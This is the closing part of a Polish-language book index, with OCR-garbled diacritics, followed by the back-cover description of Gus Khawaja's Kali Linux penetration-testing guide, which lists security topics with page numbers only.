uprawnienia, 284
uruchamianie polecen, 292
wy$wietlanie niepoprawnych uprawnien, 280
zasoby, 284

WinPEAS, 299
Wireshark, 85, 186

filtr ICMP, 87
filtrowanie pakietow Telnet, 186
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okno programu, 86
opcja Follow/TCP Stream, 188
przechwytywanie ruchu sieciowego, 187, 188
wybor interfejsu sieciowego, 86
witryna VirusTotal, 127
wskaznik EIP, 370, 371
wstrzykiwanie
kodu SQL, 212, 215, 216
polecen, 220
wyjatki, 393
wykrywanie ustugi telnet, 146
wyliczanie
DNS, 101
elementéw witryny, 239
SNMP, 166
uzytkownikéw, 150
zadan, 266
wyszukiwanie
exploitow, 176, 260, 285
plikéw, 42
subdomen DN, 103
ustug sieciowych, 137
wyszukiwarka
Google, 108
Shodan, 107
wys$wietlanie informacji, 71
wzorce formatowania, 73

X

Xfce, 412
menedzer ustawien §rodowiska, 417
XSS, Cross-Site Scripting, 206

y4

zadania, 265
planowanie, 265
planowanie w Windows, 297
wyliczanie, 266
zapora sieciowa
iptables, 205
ufw, 205
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zarzgdzanie
hastami, 37
pakietami, 61
pakietem Jenkins, 156
plikami i katalogami, 38, 392
procesami, 62
systemem operacyjnym, 56
ustugami, 60
uzytkownikami i grupami, 33
zestawy znakow
statyczne, 332
wbudowane, 332
whasne, 332
zintegrowane $rodowisko programistyczne,
IDE, 70
zmienna $PATH, 43, 74
zmienne, 73
globalne, 389
klasy, 394
numeryczne, 383
zawierajace polecenia, 74
znak
#73
<29
>, 29
apostrofu, 71
cudzystowu, 32
tylda, 45
zachety, 35
znaki specjalne, 394

zadanie POST, 160
wystania pliku, 229
z tadunkiem, 229
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Chcesz sie skutecznie obroni¢? Poznaj techniki ataku

Najlepsza metoda unikania udanego cyberataku jest utrzymywanie w gotowosci
zabezpieczen systemowych. Szczegolna rola na tym polu przypada pentesterom, ktérzy
uzywajgc tych samych technik co napastnicy, wyszukujg podatnosci i przetamujg
zabezpieczenia. To pozwala lepiej dostroi¢ dziatanie mechanizmoéw obronnych.
Ulubionym systemem pentesterow jest Kali — popularna i potezna dystrybucja Linuxa.
Zawiera ona przebogatg biblioteke narzedzi stuzgcych do przeprowadzania testow
penetracyjnych, analiz informatyki sledczeji inzynierii wstecznej.

Ta ksigzka jest praktycznym i wyczerpujacym przewodnikiem, dzieki ktéoremu w petni
wykorzystasz mozliwosci Kali Linux. Opisano w niej wiele interesujgcych zagadnien
zwigzanych z przeprowadzaniem testoéw penetracyjnych. Dowiesz sig, jak zbudowac
nowoczesne srodowisko testowe z uzyciem konteneréow Docker, przyswoisz podstawy
jezyka powtoki bash, nauczysz sie wyszukiwania podatnoscii luk w zabezpieczeniach,

a takze identyfikacji podatnosci fatszywie pozytywnych. Od strony praktyczne;j
poznasz metodologie pentestow. Znajdziesz tu rowniez wskazowki, jak uzywac Pythona
do automatyzacji testow penetracyjnych. W przewodniku nie zabrakto bardziej
zaawansowanych zagadnien, takich jak przepetnienie bufora, eskalacja uprawnien

i wiele innych.

W ksigzce:

— przygotowanie laboratorium

podstawy jezyka powtoki bash

wyszukiwanie podatnosci i luk w zabezpieczeniach

zaawansowane techniki ataku, w tym przepetnienie bufora i eskalacja uprawnien
metodologia przeprowadzania testow penetracyjnych

nowoczesny cykl tworzenia bezpiecznych aplikacji internetowych
automatyzacja testéow penetracyjnych za pomoca Pythona

|

Gus Khawaja — ekspert w dziedzinie bezpieczenstwa aplikacji i przeprowadzania testow
penetracyjnych, konsultant do spraw cyberbezpieczernstwa w Montrealu w Kanadzie.
Zdobyt bogate doswiadczenie w pracy z wieloma organizacjami, gdy zajmowat sig
zwigkszaniem stopnia ochrony ich zasobow przed cyberatakami. Jest autorem licznych
publikacji w tej dziedzinie.
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